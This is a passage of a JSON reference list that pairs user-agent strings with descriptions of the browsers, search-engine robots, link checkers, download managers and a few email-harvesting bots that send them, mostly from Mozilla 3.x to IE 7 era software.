robot\",\"ua\":\"Mozilla\\/3.0 (compatible; MuscatFerret\\/1.5.4; claude@euroferret.com)\"},{\"description\":\"Euroferret robot\",\"ua\":\"Mozilla\\/3.0 (compatible; MuscatFerret\\/1.5; olly@muscat.co.uk)\"},{\"description\":\"Euroferret robot\",\"ua\":\"Mozilla\\/3.0 (compatible; MuscatFerret\\/1.6.x; claude@euroferret.com)\"},{\"description\":\"Netart Generator  - script generated random websites\",\"ua\":\"Mozilla\\/3.0 (compatible; netart generator\\/1.0; libwww-perl\\/5.64)\"},{\"description\":\"NetPositive BEOS browser\",\"ua\":\"Mozilla\\/3.0 (compatible; NetPositive\\/2.2)\"},{\"description\":\"Opera 3.x Win3.x\",\"ua\":\"Mozilla\\/3.0 (compatible; Opera\\/3.0; Windows 3.1) v3.1\"},{\"description\":\"Opera 3.x Win95\\/NT\",\"ua\":\"Mozilla\\/3.0 (compatible; Opera\\/3.0; Windows 95\\/NT4) 3.2\"},{\"description\":\"Perman Surfer  bookmark tool\",\"ua\":\"Mozilla\\/3.0 (compatible; PerMan Surfer 3.0; Win95)\"},{\"description\":\"Web Link Validator link validation software\",\"ua\":\"Mozilla\\/3.0 (compatible; REL Software Web Link Validator 2.x)\"},{\"description\":\"Scan4Mail online mail extraction service\",\"ua\":\"Mozilla\\/3.0 (compatible; scan4mail (advanced version) http:\\/\\/www.peterspages.net\\/?scan4mail)\"},{\"description\":\"WebWobot UK search engine robot (82.43.129.2xx)\",\"ua\":\"Mozilla\\/3.0 (compatible; ScollSpider; http:\\/\\/www.webwobot.com)\"},{\"description\":\"Web Link Validator link validation software\",\"ua\":\"Mozilla\\/3.0 (compatible; Web Link Validator 2.x)Web Link Validator http:\\/\\/www.relsoftware.com\\/ link validation software\"},{\"description\":\"Xelios Web Capture (now Wysigot) website downloading tool (Discontinued)\",\"ua\":\"Mozilla\\/3.0 (compatible; WebCapture x.x; Auto; Windows)\"},{\"description\":\"Iprospect search engine positioning using Thunderstone's Webinator\",\"ua\":\"Mozilla\\/3.0 (compatible; Webinator-DEV01.home.iprospect.com\\/2.56)\"},{\"description\":\"CyberAlert's Media Monitor using Thunderstone's Webinator\",\"ua\":\"Mozilla\\/3.0 (compatible; Webinator-indexer.cyberalert.com\\/2.56)\"},{\"description\":\"Viking server user\\/client\",\"ua\":\"Mozilla\\/3.0 (Compatible;Viking\\/1.8)\"},{\"description\":\"One of DC-Sakuras download manager user-agent names\",\"ua\":\"Mozilla\\/3.0 (DreamPassport\\/3.0)\"},{\"description\":\"Ilse Netherlands robot (62.69.178.xx)\",\"ua\":\"Mozilla\\/3.0 (INGRID\\/3.0 MT; webcrawler@NOSPAMexperimental.net; http:\\/\\/aanmelden.ilse.nl\\/?aanmeld_mode=webhints)\"},{\"description\":\"Liberate DTV server suite \\/ TV-emulator\",\"ua\":\"Mozilla\\/3.0 (Liberate DTV 1.1)\"},{\"description\":\"Planetweb 2.1 Browser (discontinued) for Dreamcast\",\"ua\":\"Mozilla\\/3.0 (Planetweb\\/2.100 JS SSL US; Dreamcast US)\"},{\"description\":\"http:\\/\\/www.goo.ne.jp \\/Inktomi robot\",\"ua\":\"Mozilla\\/3.0 (Slurp.so\\/Goo; slurp@inktomi.com; http:\\/\\/www.inktomi.com\\/slurp.html)\"},{\"description\":\"Inktomi (Hotbot-Lycos-NBCi) robot - 72.30.61.xx(x)\",\"ua\":\"Mozilla\\/3.0 (Slurp\\/cat; slurp@inktomi.com; http:\\/\\/www.inktomi.com\\/slurp.html)\"},{\"description\":\"Inktomi (Hotbot-Lycos-NBCi) robot - 72.30.61.xx(x)\",\"ua\":\"Mozilla\\/3.0 (Slurp\\/si; slurp@inktomi.com; http:\\/\\/www.inktomi.com\\/slurp.html)\"},{\"description\":\"WiseGuys robot Netherland - 82.94.216.2\",\"ua\":\"Mozilla\\/3.0 (Vagabondo\\/1.1 MT; webcrawler@NOSPAMwise-guys.nl; http:\\/\\/webagent.wise-guys.nl\\/)\"},{\"description\":\"WiseGuys robot Netherland - 82.94.216.2\",\"ua\":\"Mozilla\\/3.0 (Vagabondo\\/1.x MT; webagent@wise-guys.nl; http:\\/\\/webagent.wise-guys.nl\\/)\"},{\"description\":\"Ilse Netherlands robot\",\"ua\":\"Mozilla\\/3.0 (Vagabondo\\/2.0 MT; webcrawler@NOSPAMexperimental.net; http:\\/\\/aanmelden.ilse.nl\\/?aanmeld_mode=webhints)\"},{\"description\":\"WiseGuys robot Netherland - 82.94.216.2\",\"ua\":\"Mozilla\\/3.0 (Vagabondo\\/2.0 MT; webcrawler@NOSPAMwise-guys.nl; http:\\/\\/webagent.wise-guys.nl\\/)\"},{\"description\":\"Netscape 3.x Win3.x\",\"ua\":\"Mozilla\\/3.0 (Win16; I)\"},{\"description\":\"Netscape 3.x Win95\",\"ua\":\"Mozilla\\/3.0 (Win95; I)\"},{\"description\":\"Netscape 3.x WinNT\",\"ua\":\"Mozilla\\/3.0 (WinNT; I)\"},{\"description\":\"Netscape 3.x FreeBSD\",\"ua\":\"Mozilla\\/3.0 (WorldGate Gazelle 3.5.1 build 11; FreeBSD2.2.8-STABLE)\"},{\"description\":\"Netscape 3.x OSF1 V4.0 alpha \",\"ua\":\"Mozilla\\/3.0 (X11; I; OSF1 V4.0 alpha)\"},{\"description\":\"AOL Web TV\",\"ua\":\"Mozilla\\/3.0 NAVIO_AOLTV (11; 13; Philips; PH200; 1; R2.0C36_AOL.0110OPTIK; R2.0.0139d_OPTIK)\"},{\"description\":\"WebTV\",\"ua\":\"Mozilla\\/3.0 WebTV\\/1.2 (compatible; MSIE 2.0)\"},{\"description\":\"Amiga Voyager Browser Amiga\",\"ua\":\"Mozilla\\/3.01 (compatible; AmigaVoyager\\/2.95; AmigaOS\\/MC680x0)\"},{\"description\":\"Links2Go robot\",\"ua\":\"Mozilla\\/3.01 (Compatible; Links2Go Similarity Engine)\"},{\"description\":\"Netgem Netbox cable modem TV Box Linux\",\"ua\":\"Mozilla\\/3.01 (compatible; Netbox\\/3.5 R92; Linux 2.2)\"},{\"description\":\"Netscape 3.x Mac\",\"ua\":\"Mozilla\\/3.01-C-MACOS8 (Macintosh; I; PPC)\"},{\"description\":\"Netscape 3.x Linux\",\"ua\":\"Mozilla\\/3.01Gold (X11; I; Linux 2.0.32 i486)\"},{\"description\":\"Netscape 3.x SunOS\",\"ua\":\"Mozilla\\/3.01Gold (X11; I; SunOS 5.5.1 sun4m)\"},{\"description\":\"Netscape 3.x Irix\",\"ua\":\"Mozilla\\/3.01SGoldC-SGI (X11; I; IRIX 6.3 IP32)\"},{\"description\":\"ANT Fresco Browser Risc OS\",\"ua\":\"Mozilla\\/3.04 (compatible; ANTFresco\\/2.13; RISC OS 4.02)\"},{\"description\":\"NCBrowser ANT Fresco Browser Risc OS\",\"ua\":\"Mozilla\\/3.04 (compatible; NCBrowser\\/2.35; ANTFresco\\/2.17; RISC OS-NC 5.13 Laz1UK1309)\"},{\"description\":\"QNX OS Voyager embedded browser\",\"ua\":\"Mozilla\\/3.04 (compatible;QNX Voyager 2.03B ;Photon)\"},{\"description\":\"I-Opener (was www.netpliance.com\\/) web PC\",\"ua\":\"Mozilla\\/3.x (I-Opener 1.1; Netpliance)\"},{\"description\":\"Yahoo Mindset: Intent-driven Search (66.228.182.1xx)\",\"ua\":\"Mozilla\\/4.0\"},{\"description\":\"Agada search (Germany) robot\",\"ua\":\"Mozilla\\/4.0 (agadine3.0) www.agada.de\"},{\"description\":\"URLBase 6 bookmark manager\",\"ua\":\"Mozilla\\/4.0 (Compatible); URLBase 6\"},{\"description\":\"Astrafind! adult search robot (66.98.252.xx)\",\"ua\":\"Mozilla\\/4.0 (compatible: AstraSpider V.2.1 : astrafind.com)\"},{\"description\":\"WiseGuys robot Netherland - 82.94.216.2\",\"ua\":\"Mozilla\\/4.0 (compatible;  Vagabondo\\/2.2; webcrawler at wise-guys dot nl; http:\\/\\/webagent.wise-guys.nl\\/)\"},{\"description\":\"WiseGuys robot Netherland - 82.94.216.2\",\"ua\":\"Mozilla\\/4.0 (compatible;  Vagabondo\\/4.0Beta; webcrawler at wise-guys dot nl; http:\\/\\/webagent.wise-guys.nl\\/)\"},{\"description\":\"ReGet Deluxe! download manager\",\"ua\":\"Mozilla\\/4.0 (compatible; <a href=http:\\/\\/www.reget.com>ReGet Deluxe 5.1<\\/a>; Windows NT 5.1)\"},{\"description\":\"Advanced Email Extractor e-mail collector (spam bot)\",\"ua\":\"Mozilla\\/4.0 (compatible; Advanced Email Extractor v2.xx)\"},{\"description\":\"Arachmo Spider - web site file extraction tool\",\"ua\":\"Mozilla\\/4.0 (compatible; Arachmo)\"},{\"description\":\"Novell Border Manager security suite\",\"ua\":\"Mozilla\\/4.0 (compatible; BorderManager 3.0)\"},{\"description\":\"Best of the Web directory link checking\",\"ua\":\"Mozilla\\/4.0 (compatible; BOTW Spider; +http:\\/\\/botw.org)\"},{\"description\":\"Blitzsuche Germany robot\",\"ua\":\"Mozilla\\/4.0 (compatible; B_L_I_T_Z_B_O_T)\"},{\"description\":\"Content Control from Blue Coat\",\"ua\":\"Mozilla\\/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)\"},{\"description\":\"Check&Get bookmark manager, web change monitor and archiver\",\"ua\":\"Mozilla\\/4.0 (compatible; Check&Get 3.0; Windows NT)\"},{\"description\":\"Christcentral.com Christcrawler (was www.christcrawler.com)\",\"ua\":\"Mozilla\\/4.0 (compatible; ChristCrawler.com ChristCrawler@ChristCENTRAL.com)\"},{\"description\":\"Yahoo Search Marketing crawler (68.142.211.1xx)\",\"ua\":\"Mozilla\\/4.0 (compatible; crawlx, crawler@trd.overture.com)\"},{\"description\":\"DAUMOA - Daum search Korea robot (211.115.109.xxx)\",\"ua\":\"Mozilla\\/4.0 (compatible; DAUMOA-video; +http:\\/\\/ws.daum.net\\/aboutkr.html)\"},{\"description\":\"DepSpid distributed web crawler for link dependencies\",\"ua\":\"Mozilla\\/4.0 (compatible; DepSpid\\/5.0x; +http:\\/\\/about.depspid.net)\"},{\"description\":\"Download Mage download manager\",\"ua\":\"Mozilla\\/4.0 (compatible; DnloadMage 1.0)\"},{\"description\":\"Fast\\/Alltheweb crawler\",\"ua\":\"Mozilla\\/4.0 (compatible; FastCrawler3 support-fastcrawler3@fast.no)\"},{\"description\":\"Fluid Dynamics Search Engine (FDSE) robot used by Abadoor.de\",\"ua\":\"Mozilla\\/4.0 (compatible; FDSE robot)\"},{\"description\":\"GPU Distributed Search Engine crawler\",\"ua\":\"Mozilla\\/4.0 (compatible; GPU p2p crawler http:\\/\\/gpu.sourceforge.net\\/search_engine.php)\"},{\"description\":\"Grub open source crawler\",\"ua\":\"Mozilla\\/4.0 (compatible; grub-client-0.2.x; Crawl your stuff with http:\\/\\/grub.org)\"},{\"description\":\"Grub open source crawler\",\"ua\":\"Mozilla\\/4.0 (compatible; grub-client-0.3.x; Crawl your own stuff with http:\\/\\/grub.org)\"},{\"description\":\"Grub open source crawler used by Looksmart ( 64.241.242.xx)\",\"ua\":\"Mozilla\\/4.0 (compatible; grub-client-2.x)\"},{\"description\":\"ibisBrowser Japanese mobile browser\",\"ua\":\"Mozilla\\/4.0 (compatible; ibisBrowser)\"},{\"description\":\"Novell iChain Cool Solutions caching\",\"ua\":\"Mozilla\\/4.0 (compatible; ICS 1.2.xxx)\"},{\"description\":\"IE Favorites Check - Bookmark manager\",\"ua\":\"Mozilla\\/4.0 (compatible; IE-Favorites-Check-0.5)\"},{\"description\":\"Iplexx Austria (webhosting company) logfile spamming bot\",\"ua\":\"Mozilla\\/4.0 (compatible; Iplexx Spider\\/1.0 http:\\/\\/www.iplexx.at)\"},{\"description\":\"KeepNi Monitors - Web site monitoring \\/ link checking tool\",\"ua\":\"Mozilla\\/4.0 (compatible; KeepNI web site monitor)\"},{\"description\":\"NetPromoter Link Utility link checking tool\",\"ua\":\"Mozilla\\/4.0 (compatible; Link Utility; http:\\/\\/net-promoter.com)\"},{\"description\":\"Lotus Notes 5.0 browser\",\"ua\":\"Mozilla\\/4.0 (compatible; Lotus-Notes\\/5.0; Windows-NT)\"},{\"description\":\"IE 4.x AOL Win98\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98)\"},{\"description\":\"IE 4.x Mac Power PC\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Mac_PowerPC)\"},{\"description\":\"Internet Explorer 4.0 URL check\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; MSIECrawler; Windows 95)\"},{\"description\":\"Vonna search robot\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Vonna.com b o t)\"},{\"description\":\"IE 4.x Win95\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Windows 95)\"},{\"description\":\"IE PDA Browser Windows CE\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Windows CE; MSN Companion 2.0; 800x600; Compaq)\"},{\"description\":\"Orange France robot for mobiles\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; SPV M700; OpVer 19.123.2.733) OrangeBot-Mobile 2008.0 (mobilesearch.support@orange-ftgroup.com)\"},{\"description\":\"IE for Windows CE on a PocketPC (HP iPAQ)\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Windows CE; PPS; 240x320)\"},{\"description\":\"IE PDA Browser Windows CE\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Windows NT Windows CE)\"},{\"description\":\"IE 4.x WinNT\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Windows NT)\"},{\"description\":\"diff. IPs \\/ services i.e.: - Microsoft server information robot (see link) - Okanagan Internet Junction web filter (robot)\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 4.0 Robot) Microsoft\"},{\"description\":\"Unknown robot from American College of Radiology (ACR) running MS Site Server\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) ACR\"},{\"description\":\"Indonesia Interactive Web-portal robot on MS Site Server\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) Indonesia Interactive\"},{\"description\":\"Webquestdesigns hosting\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) WebQuest Designs\"},{\"description\":\"Avirt Gateway proxy server\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.01; Windows 95) via <B>Avirt Gateway Server<\\/B> v4.0\"},{\"description\":\"Metacarta.com (66.28.xx.xxx) robot\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.01; Windows NT 5.0) (samualt9@bigfoot.com)\"},{\"description\":\"NetCaptor IE browser addon\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.01; Windows NT 5.0; NetCaptor 6.5.0RC1)\"},{\"description\":\"IE 5.x AOL Win95 Sureseeker search plugin\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; AOL 5.0; Windows 95; DigExt; Gateway2000; sureseeker.com)\"},{\"description\":\"IE 5.x Mac PowerPC AtHome user\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Mac_PowerPC; AtHome021)\"},{\"description\":\"www.netnose.com crawler\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; NetNose-Crawler 2.0; A New Search Experience: http:\\/\\/www.netnose.com)\"},{\"description\":\"WinXP via CERN httpd proxy server \",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Win32) via proxy gateway CERN-HTTPD\\/3.0 libwww\\/2.17\"},{\"description\":\"Echo.com robot\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows 95) TrueRobot; 1.5\"},{\"description\":\"Voila.fr robot\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA 1.2 (http:\\/\\/www.voila.com\\/)\"},{\"description\":\"Voila.fr robot\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot; 1.6\"},{\"description\":\"WinME Opera 5.x\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]\"},{\"description\":\"Kyosoft's Link Checker\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows ME; Link Checker 2.x.xx http:\\/\\/www.kyosoft.com)\"},{\"description\":\"Beijing Express Email Address Extractor via DHCP Data Transport Services (DTS)\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent\"},{\"description\":\"Girafa (browser plug-in) robot\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at girafa dot com; http:\\/\\/www.girafa.com)\"},{\"description\":\"Galaxy robot (63.121.41.xxx) \",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; www.galaxy.com; www.psychedelix.com)\"},{\"description\":\"Galaxy robot (63.121.41.xxx)\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; www.galaxy.com; www.psychedelix.com\\/; http:\\/\\/www.galaxy.com\\/info\\/crawler.html)\"},{\"description\":\"Yandex Search Russia link checking (213.180.206.2xx)\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; YANDEX)\"},{\"description\":\"Gobeez starting page plugin\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; AOL 4.0; Windows 98; GoBeez (www.gobeez.com))\"},{\"description\":\"IE 5.5 Win95 Hotbar plug-in\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows 95; Transmission Segment; Hotbar 2.0)\"},{\"description\":\"Crazy Browser - IE based tabbed Browser\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows 98; Crazy Browser 1.x.x)\"},{\"description\":\"Wanadoo Internet services\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows 98; KITV4.7 Wanadoo)\"},{\"description\":\"Safexplorer (safexplorer.com - site is offline) kids browser\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows 98; SAFEXPLORER TL)\"},{\"description\":\"Katiesoft Scroll (ex www.katiesoft.com now discarded) & SimulBrowse (ex www.simulbrowse.com now dead) IE browser plugins\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows 98; SYMPA; Katiesoft 7; SimulBrowse 3.0)\"},{\"description\":\"Windows ME BTOpenworld Internet services\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; BTinternet V8.1)\"},{\"description\":\"Windows ME Internet Explorer URL check\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; MSIECrawler)\"},{\"description\":\"Cobion Germany Brand Protection Services robot\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 4.0; obot)\"},{\"description\":\"Cobion Germany Brand Protection Services robot\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 4.0; QXW03018)\"},{\"description\":\"IE 5.5 Win2000 \\/ user agent\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request\"},{\"description\":\"Maybe: - MS Internet Security & Acceleration Server (ISA) cache refreshing request (see link) or - IE 5.5 Win2000 probably with some (website) API request component (see 2nd link) - suspected as email-harvester \\/ site scanning tool (see http:\\/\\/www.byte.com\\/documents\\/s=493\\/byt20010208s0001\\/index.htm\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Fetch API Request\"},{\"description\":\"IE 5.5 Win2000 with MS.NET SDK\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.0.3705)\"},{\"description\":\"IE 5.5 Win2000 \\/ user agent w. AI RoboForm (AIRF) password manager\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 5.0; AIRF)\"},{\"description\":\"AspTear URL fetching program component \\/ Download32.com spider\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 5.0; AspTear 1.5)\"},{\"description\":\"Nokia.com network\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 5.0; N_o_k_i_a)\"},{\"description\":\"Unknown Object Sciences Corp. robot using the HTTPClient\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461) RPT-HTTPClient\\/0.3-3E\"},{\"description\":\"Singingfish media spider (64.12.186.2xx) via AOL search\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0 compatible; Asterias Crawler v4; +http:\\/\\/www.singingfish.com\\/help\\/spider.html; webmaster@singingfish.com); SpiderThread  Revision: 3.10\"},{\"description\":\"Megaupload Mega Manager - Download manager toolbar for IE\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; .NET CLR 1.1.4322; MEGAUPLOAD 2.0)\"},{\"description\":\"Hotbar IE graphical skin\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1; HbTools 4.7.2)\"},{\"description\":\"Skaffe.com directory link checker\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Skampy\\/0.9.x [en]\"},{\"description\":\"TargetSeek Crawler concerning electronics industry product announcements\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; TargetSeek\\/1.0; +http:\\/\\/www.targetgroups.net\\/TargetSeek.html)\"},{\"description\":\"IE 6.0 WebWasher ad filter\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Win32) WebWasher 3.0\"},{\"description\":\"Web Link Validator link validation software\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows 98) REL Software Web Link Validator 2.x)\"},{\"description\":\"Web Link Validator link validation software\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows 98) Web Link Validator 2.x)\"},{\"description\":\"IE 6.0 Netmanager IE add-on\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows 98; Net M@nager V3.02 - www.vinn.com.au)\"},{\"description\":\"WebLight web analyzer & link checker\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows 98; support@illumit.com; http:\\/\\/www.illumit.com\\/Products\\/weblight\\/)\"},{\"description\":\"Abolimba Multibrowser - IE based browser\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; http:\\/\\/www.Abolimba.de)\"},{\"description\":\"Lunascape IE based browser (Japan)\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Lunascape 2.1.3)\"},{\"description\":\"Google wireless transcoder (GWT) proxy for rewriting websites for mobiles\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Google Wireless Transcoder;)\"},{\"description\":\"T\\u00fczilla (Germany) - ODP link checking using Robozilla\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP entries t_st; http:\\/\\/tuezilla.de\\/t_st-odp-entries-agent.html)\"},{\"description\":\"T\\u00fczilla (Germany) - ODP link checking using Robozilla\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP links test; http:\\/\\/tuezilla.de\\/test-odp-links-agent.html)\"},{\"description\":\"ZoomSpider.Net indexing robot for several directorys\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)\"},{\"description\":\"unknown robot from 64.246.44.xx\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (dns_admin@c-a-s-h.com)\"},{\"description\":\"Covac Software UPPS (Universal PHP Proxy Server) - free public proxy server\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Covac UPPS Cathan 1.2.5;)\"},{\"description\":\"GetNetWise Crayon Crawler web filter\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crayon Crawler; snprtz|T04056566514940; (R1 1.5))\"},{\"description\":\"Deepnet Explorer - IE based browser\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Deepnet Explorer)\"},{\"description\":\"Heritrix Internet Archive's open-source web project used by Analysis Projects at UW\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; heritrix\\/1.3.0 http:\\/\\/www.cs.washington.edu\\/research\\/networking\\/websys\\/)\"},{\"description\":\"IE 6x WinXP Hotbar plug-in\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0)\"},{\"description\":\"IE 6x WinXP iOpus Internet Macros - Internet-based macro recorder \",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M)\"},{\"description\":\"iRider - IE based browser \\/ Free Download Manager (FDM)\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)\"},{\"description\":\"KKman http:\\/\\/www.kkman.com\\/ - Japanese IE based browser\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman3.0)\"},{\"description\":\"IE 6x WinXP MathPlayer mathematical notation plugin \",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)\"},{\"description\":\"Maxton (ex MyIE2) - IE based browser\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon) \"},{\"description\":\"IE 6x WinXP peoplepc online PeoplePal IE toolbar\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; PeoplePal 3.0; MSIECrawler)\"},{\"description\":\"IE 6x WinXP \\/ I-Opener (was www.netpliance.com\\/) web PC\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; IOpener Release 1.1.04)\"},{\"description\":\"Qihoo search (China) robot\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0  qihoobot@qihoo.net)\"},{\"description\":\"SimBar IE toolbar for accessing The Sims sites \\/ Infopath IE form & spreadsheet plugin\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SIMBAR Enabled; InfoPath.1)\"},{\"description\":\"IE 6x WinXP Stumble Upon IE toolbar\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; StumbleUpon.com 1.760; .NET CLR 1.1.4322)\"},{\"description\":\"Balsa Productions embedded web browser package for Borland Delphi\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;  Embedded Web Browser from: http:\\/\\/bsalsa.com\\/; MSIECrawler)\"},{\"description\":\"ChangeDetection robot for web page monitoring\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;  http:\\/\\/www.changedetection.com\\/bot.html )\"},{\"description\":\"IE 6x WinXP also used by WebSite Pro HTML editor\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\"},{\"description\":\"DX-Browser - German IE based browser\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DX-Browser 5.0.0.0)\"},{\"description\":\"ezPeer+ P2P IE addon\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; ezPeer+ v1.0 Beta (0.4.1.98); ezPeer+ v1.0 (0.5.0.00); .NET CLR 1.1.4322; MSIECrawler)\"},{\"description\":\"Axandra IBP website promotion software ?\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; IBP; .NET CLR 1.1.4322)\"},{\"description\":\"MRA = Mail.ru Agent - Instant Messenger \\/ VoIP\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.3 (build 01218))\"},{\"description\":\"MSN Search robot (207.46.89.xx)\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)\"},{\"description\":\"Link Commander bookmark manager\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Win32) Link Commander 4.0\"},{\"description\":\"IE 7.0 - WinXP\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)\"},{\"description\":\"GTB = Google Toolbar Internet Explorer add-on\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; User-agent: Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http:\\/\\/bsalsa.com) ; .NET CLR 2.0.50727)\"},{\"description\":\"MSIE 7.0 *and* Trident token used by Internet Explorer 8 in compatibility view mode\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)\"},{\"description\":\"Internet 